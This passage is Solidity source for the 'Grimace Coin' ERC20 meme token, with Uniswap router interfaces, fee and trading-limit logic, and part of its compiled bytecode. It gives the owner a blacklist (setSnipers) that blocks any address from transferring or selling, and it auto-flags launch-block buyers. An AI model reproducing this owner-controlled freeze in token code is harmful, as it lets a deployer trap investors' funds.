uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract grimace is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; mapping (address => bool) private _isSniper; bool private _swapping; uint256 private _launchTime; address public feeWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 private _buyMarketingFee; uint256 private _buyLiquidityFee; uint256 private _buyDevFee; uint256 public sellTotalFees; uint256 private _sellMarketingFee; uint256 private _sellLiquidityFee; uint256 private _sellDevFee; uint256 private _tokensForMarketing; uint256 private _tokensForLiquidity; uint256 private _tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event feeWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Grimace Coin", "GRIMACE") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 buyMarketingFee = 2; uint256 buyLiquidityFee = 1; uint256 buyDevFee = 9; uint256 sellMarketingFee = 2; uint256 sellLiquidityFee = 1; uint256 sellDevFee = 9; uint256 totalSupply = 1e18 * 1e9; maxTransactionAmount = totalSupply * 1 / 100; // 1% maxTransactionAmountTxn maxWallet = totalSupply * 3 / 100; // 3% maxWallet swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet _buyMarketingFee = buyMarketingFee; _buyLiquidityFee = buyLiquidityFee; _buyDevFee = buyDevFee; buyTotalFees = _buyMarketingFee + _buyLiquidityFee + _buyDevFee; _sellMarketingFee = sellMarketingFee; _sellLiquidityFee = sellLiquidityFee; _sellDevFee = sellDevFee; sellTotalFees = _sellMarketingFee + _sellLiquidityFee + _sellDevFee; feeWallet = address(owner()); // set as fee wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; _launchTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000) / 1e9, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * 1e9; } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e9, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * 1e9; } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function updateBuyFees(uint256 marketingFee, uint256 liquidityFee, uint256 devFee) external onlyOwner { _buyMarketingFee = marketingFee; _buyLiquidityFee = liquidityFee; _buyDevFee = devFee; buyTotalFees = _buyMarketingFee + _buyLiquidityFee + _buyDevFee; require(buyTotalFees <= 10, "Must keep fees at 10% or less"); } function updateSellFees(uint256 marketingFee, uint256 liquidityFee, uint256 devFee) external onlyOwner { _sellMarketingFee = marketingFee; _sellLiquidityFee = liquidityFee; _sellDevFee = devFee; sellTotalFees = _sellMarketingFee + _sellLiquidityFee + _sellDevFee; require(sellTotalFees <= 15, "Must keep fees at 15% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateFeeWallet(address newWallet) external onlyOwner { emit feeWalletUpdated(newWallet, feeWallet); feeWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function setSnipers(address[] memory snipers_) public onlyOwner() { for (uint i = 0; i < snipers_.length; i++) { if (snipers_[i] != uniswapV2Pair && snipers_[i] != address(uniswapV2Router)) { _isSniper[snipers_[i]] = true; } } } function delSnipers(address[] memory snipers_) public onlyOwner() { for (uint i = 0; i < snipers_.length; i++) { _isSniper[snipers_[i]] = false; } } function isSniper(address addr) public view returns (bool) { return _isSniper[addr]; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!_isSniper[from], "Your address has been marked as a sniper, you are unable to transfer or swap."); if (amount == 0) { super._transfer(from, to, 0); return; } if (block.timestamp == _launchTime) _isSniper[to] = true; if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !_swapping ) { if (!tradingActive) { require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } // when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } // when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if (!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && !_swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { _swapping = true; swapBack(); _swapping = false; } bool takeFee = !_swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); _tokensForLiquidity += fees * _sellLiquidityFee / sellTotalFees; _tokensForDev += fees * _sellDevFee / sellTotalFees; _tokensForMarketing += fees * _sellMarketingFee / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); _tokensForLiquidity += fees * _buyLiquidityFee / buyTotalFees; _tokensForDev += fees * _buyDevFee / buyTotalFees; _tokensForMarketing += fees * _buyMarketingFee / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = _tokensForLiquidity + _tokensForMarketing + _tokensForDev; if (contractBalance == 0 || totalTokensToSwap == 0) return; if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * _tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; _swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(_tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(_tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; _tokensForLiquidity = 0; _tokensForMarketing = 0; _tokensForDev = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { _addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, _tokensForLiquidity); } } function withdrawFees() external { payable(feeWallet).transfer(address(this).balance); } receive() external payable {} }
0x60806040526004361061026b5760003560e01c8063892ba40811610144578063c18bc195116100b6578063dd62ed3e1161007a578063dd62ed3e14610793578063e2f45605146107d9578063e884f260146107ef578063f25f4b5614610804578063f2fde38b14610824578063f8b45b051461084457600080fd5b8063c18bc1951461070d578063c876d0b91461072d578063c8c8ebe414610747578063d257b34f1461075d578063d85ba0631461077d57600080fd5b8063a457c2d711610108578063a457c2d71461063e578063a9059cbb1461065e578063b62496f51461067e578063bbc0c742146106ae578063c0246668146106cd578063c17b5b8c146106ed57600080fd5b8063892ba408146105b65780638a8c523c146105d65780638da5cb5b146105eb57806395d89b41146106095780639a7a23d61461061e57600080fd5b806349bd5a5e116101dd5780636a486a8e116101a15780636a486a8e1461050057806370a0823114610516578063715018a61461054c578063751039fc146105615780637571336a146105765780638095d5641461059657600080fd5b806349bd5a5e146104395780634a62bb651461046d5780634fbee193146104875780635e80148e146104c057806366718524146104e057600080fd5b806318160ddd1161022f57806318160ddd14610387578063203e727e146103a657806323b872dd146103c8578063313ce567146103e85780633950935114610404578063476343ee1461042457600080fd5b806306fdde0314610277578063095ea7b3146102a25780630f3a325f146102d257806310d5de531461030b5780631694505e1461033b57600080fd5b3661027257005b600080fd5b34801561028357600080fd5b5061028c61085a565b6040516102999190612660565b60405180910390f35b3480156102ae57600080fd5b506102c26102bd3660046126d5565b6108ec565b6040519015158152602001610299565b3480156102de57600080fd5b506102c26102ed366004612701565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561031757600080fd5b506102c2610326366004612701565b601c6020526000908152604090205460ff1681565b34801561034757600080fd5b5061036f7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610299565b34801561039357600080fd5b506002545b604051908152602001610299565b3480156103b257600080fd5b506103c66103c136600461271e565b610903565b005b3480156103d457600080fd5b506102c26103e3366004612737565b6109e1565b3480156103f457600080fd5b5060405160098152602001610299565b34801561041057600080fd5b506102c261041f3660046126d5565b610a4a565b34801561043057600080fd5b506103c6610a80565b34801561044557600080fd5b5061036f7f0000000000000000000000005de36655e8f42f2b3f7a0664411507bd4d41791d81565b34801561047957600080fd5b50600d546102c29060ff1681565b34801561049357600080fd5b506102c26104a2366004612701565b6001600160a01b03166000908152601b602052604090205460ff1690565b3480156104cc57600080fd5b506103c66104db36600461278e565b610abc565b3480156104ec57600080fd5b506103c66104fb366004612701565b610c0b565b34801561050c57600080fd5b5061039860145481565b34801561052257600080fd5b50610398610531366004612701565b6001600160a01b031660009081526020819052604090205490565b34801561055857600080fd5b506103c6610c92565b34801561056d57600080fd5b506102c2610d06565b34801561058257600080fd5b506103c6610591366004612853565b610d43565b3480156105a257600080fd5b506103c66105b1366004612891565b610d98565b3480156105c257600080fd5b506103c66105d136600461278e565b610e40565b3480156105e257600080fd5b506103c6610ed2565b3480156105f757600080fd5b506005546001600160a01b031661036f565b34801561061557600080fd5b5061028c610f11565b34801561062a57600080fd5b506103c6610639366004612853565b610f20565b34801561064a57600080fd5b506102c26106593660046126d5565b610ffc565b34801561066a57600080fd5b506102c26106793660046126d5565b61104b565b34801561068a57600080fd5b506102c2610699366004612701565b601d6020526000908152604090205460ff1681565b3480156106ba57600080fd5b50600d546102c290610100900460ff1681565b3480156106d957600080fd5b506103c66106e8366004612853565b611058565b3480156106f957600080fd5b506103c6610708366004612891565b6110e1565b34801561071957600080fd5b506103c661072836600461271e565b611184565b34801561073957600080fd5b50600f546102c29060ff1681565b34801561075357600080fd5b50610398600a5481565b34801561076957600080fd5b506102c261077836600461271e565b61124d565b34801561078957600080fd5b5061039860105481565b34801561079f57600080fd5b506103986107ae3660046128bd565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156107e557600080fd5b50610398600b5481565b3480156107fb57600080fd5b506102c26113a4565b34801561081057600080fd5b5060095461036f906001600160a01b031681565b34801561083057600080fd5b506103c661083f366004612701565b6113e1565b34801561085057600080fd5b50610398600c5481565b606060038054610869906128eb565b80601f0160208091040260200160405190810160405280929190818152602001828054610895906128eb565b80156108e25780601f106108b7576101008083540402835291602001916108e2565b820191906000526020600020905b8154815290600101906020018083116108c557829003601f168201915b5050505050905090565b60006108f9338484611532565b5060015b92915050565b6005546001600160a01b031633146109365760405162461bcd60e51b815260040161092d90612926565b60405180910390fd5b633b9aca006103e861094760025490565b610952906001612971565b61095c9190612990565b6109669190612990565b8110156109cd5760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b606482015260840161092d565b6109db81633b9aca00612971565b600a5550565b60006109ee848484611657565b610a408433610a3b85604051806060016040528060288152602001612b7d602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190611f47565b611532565b5060019392505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916108f9918590610a3b90866114cc565b6009546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610ab9573d6000803e3d6000fd5b50565b6005546001600160a01b03163314610ae65760405162461bcd60e51b815260040161092d90612926565b60005b8151811015610c07577f0000000000000000000000005de36655e8f42f2b3f7a0664411507bd4d41791d6001600160a01b0316828281518110610b2e57610b2e6129b2565b60200260200101516001600160a01b031614158015610b9857507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316828281518110610b8457610b846129b2565b60200260200101516001600160a01b031614155b15610bf557600160066000848481518110610bb557610bb56129b2565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610bff816129c8565b915050610ae9565b5050565b6005546001600160a01b03163314610c355760405162461bcd60e51b815260040161092d90612926565b6009546040516001600160a01b03918216918316907f5deb5ef622431f0df5a39b72dd556892f68ba42aa0f3aaf0800e166ce866492890600090a3600980546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610cbc5760405162461bcd60e51b815260040161092d90612926565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546000906001600160a01b03163314610d335760405162461bcd60e51b815260040161092d90612926565b50600d805460ff19169055600190565b6005546001600160a01b03163314610d6d5760405162461bcd60e51b815260040161092d90612926565b6001600160a01b03919091166000908152601c60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610dc25760405162461bcd60e51b815260040161092d90612926565b60118390556012829055601381905580610ddc83856129e3565b610de691906129e3565b6010819055600a1015610e3b5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c657373000000604482015260640161092d565b505050565b6005546001600160a01b03163314610e6a5760405162461bcd60e51b815260040161092d90612926565b60005b8151811015610c0757600060066000848481518110610e8e57610e8e6129b2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610eca816129c8565b915050610e6d565b6005546001600160a01b03163314610efc5760405162461bcd60e51b815260040161092d90612926565b600d805461ff00191661010017905542600855565b606060048054610869906128eb565b6005546001600160a01b03163314610f4a5760405162461bcd60e51b815260040161092d90612926565b7f0000000000000000000000005de36655e8f42f2b3f7a0664411507bd4d41791d6001600160a01b0316826001600160a01b03161415610ff25760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000606482015260840161092d565b610c078282611f81565b60006108f93384610a3b85604051806060016040528060258152602001612ba5602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190611f47565b60006108f9338484611657565b6005546001600160a01b031633146110825760405162461bcd60e51b815260040161092d90612926565b6001600160a01b0382166000818152601b6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b0316331461110b5760405162461bcd60e51b815260040161092d90612926565b6015839055601682905560178190558061112583856129e3565b61112f91906129e3565b6014819055600f1015610e3b5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313525206f72206c657373000000604482015260640161092d565b6005546001600160a01b031633146111ae5760405162461bcd60e51b815260040161092d90612926565b633b9aca006103e86111bf60025490565b6111ca906005612971565b6111d49190612990565b6111de9190612990565b8110156112395760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b606482015260840161092d565b61124781633b9aca00612971565b600c5550565b6005546000906001600160a01b0316331461127a5760405162461bcd60e51b815260040161092d90612926565b620186a061128760025490565b611292906001612971565b61129c9190612990565b8210156113095760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b606482015260840161092d565b6103e861131560025490565b611320906005612971565b61132a9190612990565b8211156113965760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b606482015260840161092d565b50600b81905560015b919050565b6005546000906001600160a01b031633146113d15760405162461bcd60e51b815260040161092d90612926565b50600f805460ff19169055600190565b6005546001600160a01b0316331461140b5760405162461bcd60e51b815260040161092d90612926565b6001600160a01b0381166114705760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161092d565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000806114d983856129e3565b90508381101561152b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161092d565b9392505050565b6001600160a01b0383166115945760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161092d565b6001600160a01b0382166115f55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161092d565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661167d5760405162461bcd60e51b815260040161092d906129fb565b6001600160a01b0382166116a35760405162461bcd60e51b815260040161092d90612a40565b6001600160a01b03831660009081526006602052604090205460ff16156117485760405162461bcd60e51b815260206004820152604d60248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120736e697065722c20796f752061726520756e61626c6520746f207472616e60648201526c39b332b91037b91039bbb0b81760991b608482015260a40161092d565b8061175957610e3b83836000611fd5565b600854421415611787576001600160a01b0382166000908152600660205260409020805460ff191660011790555b600d5460ff1615611c3d576005546001600160a01b038481169116148015906117be57506005546001600160a01b03838116911614155b80156117d257506001600160a01b03821615155b80156117e957506001600160a01b03821661dead14155b80156117f8575060075460ff16155b15611c3d57600d54610100900460ff16611890576001600160a01b0383166000908152601b602052604090205460ff168061184b57506001600160a01b0382166000908152601b602052604090205460ff165b6118905760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161092d565b600f5460ff16156119d7576005546001600160a01b038381169116148015906118eb57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b801561192957507f0000000000000000000000005de36655e8f42f2b3f7a0664411507bd4d41791d6001600160a01b0316826001600160a01b031614155b156119d757326000908152600e602052604090205443116119c45760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161092d565b326000908152600e602052604090204390555b6001600160a01b0383166000908152601d602052604090205460ff168015611a1857506001600160a01b0382166000908152601c602052604090205460ff16155b15611afc57600a54811115611a8d5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b606482015260840161092d565b600c546001600160a01b038316600090815260208190526040902054611ab390836129e3565b1115611af75760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161092d565b611c3d565b6001600160a01b0382166000908152601d602052604090205460ff168015611b3d57506001600160a01b0383166000908152601c602052604090205460ff16155b15611bb357600a54811115611af75760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b606482015260840161092d565b6001600160a01b0382166000908152601c602052604090205460ff16611c3d57600c546001600160a01b038316600090815260208190526040902054611bf990836129e3565b1115611c3d5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161092d565b30600090815260208190526040902054600b5481108015908190611c64575060075460ff16155b8015611c8957506001600160a01b0385166000908152601d602052604090205460ff16155b8015611cae57506001600160a01b0385166000908152601b602052604090205460ff16155b8015611cd357506001600160a01b0384166000908152601b602052604090205460ff16155b15611cf8576007805460ff19166001179055611ced6120de565b6007805460ff191690555b6007546001600160a01b0386166000908152601b602052604090205460ff91821615911680611d3f57506001600160a01b0385166000908152601b602052604090205460ff165b15611d48575060005b60008115611f33576001600160a01b0386166000908152601d602052604090205460ff168015611d7a57506000601454115b15611e3857611d9f6064611d996014548861226990919063ffffffff16565b906122e8565b905060145460165482611db29190612971565b611dbc9190612990565b60196000828254611dcd91906129e3565b9091555050601454601754611de29083612971565b611dec9190612990565b601a6000828254611dfd91906129e3565b9091555050601454601554611e129083612971565b611e1c9190612990565b60186000828254611e2d91906129e3565b90915550611f159050565b6001600160a01b0387166000908152601d602052604090205460ff168015611e6257506000601054115b15611f1557611e816064611d996010548861226990919063ffffffff16565b905060105460125482611e949190612971565b611e9e9190612990565b60196000828254611eaf91906129e3565b9091555050601054601354611ec49083612971565b611ece9190612990565b601a6000828254611edf91906129e3565b9091555050601054601154611ef49083612971565b611efe9190612990565b60186000828254611f0f91906129e3565b90915550505b8015611f2657611f26873083611fd5565b611f308186612a83565b94505b611f3e878787611fd5565b50505050505050565b60008184841115611f6b5760405162461bcd60e51b815260040161092d9190612660565b506000611f788486612a83565b95945050505050565b6001600160a01b0382166000818152601d6020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b038316611ffb5760405162461bcd60e51b815260040161092d906129fb565b6001600160a01b0382166120215760405162461bcd60e51b815260040161092d90612a40565b61205e81604051806060016040528060268152602001612b57602691396001600160a01b0386166000908152602081905260409020549190611f47565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461208d90826114cc565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910161164a565b3060009081526020819052604081205490506000601a5460185460195461210591906129e3565b61210f91906129e3565b905081158061211c575080155b15612125575050565b600b54612133906014612971565b82111561214b57600b54612148906014612971565b91505b60006002826019548561215e9190612971565b6121689190612990565b6121729190612990565b90506000612180848361232a565b90504761218c8261236c565b6000612198478361232a565b905060006121b586611d996018548561226990919063ffffffff16565b905060006121d287611d99601a548661226990919063ffffffff16565b90506000816121e18486612a83565b6121eb9190612a83565b600060198190556018819055601a559050861580159061220b5750600081115b1561225e5761221a878261252c565b601954604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b505050505050505050565b600082612278575060006108fd565b60006122848385612971565b9050826122918583612990565b1461152b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161092d565b600061152b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612632565b600061152b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f47565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106123a1576123a16129b2565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561241f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124439190612a9a565b81600181518110612456576124566129b2565b60200260200101906001600160a01b031690816001600160a01b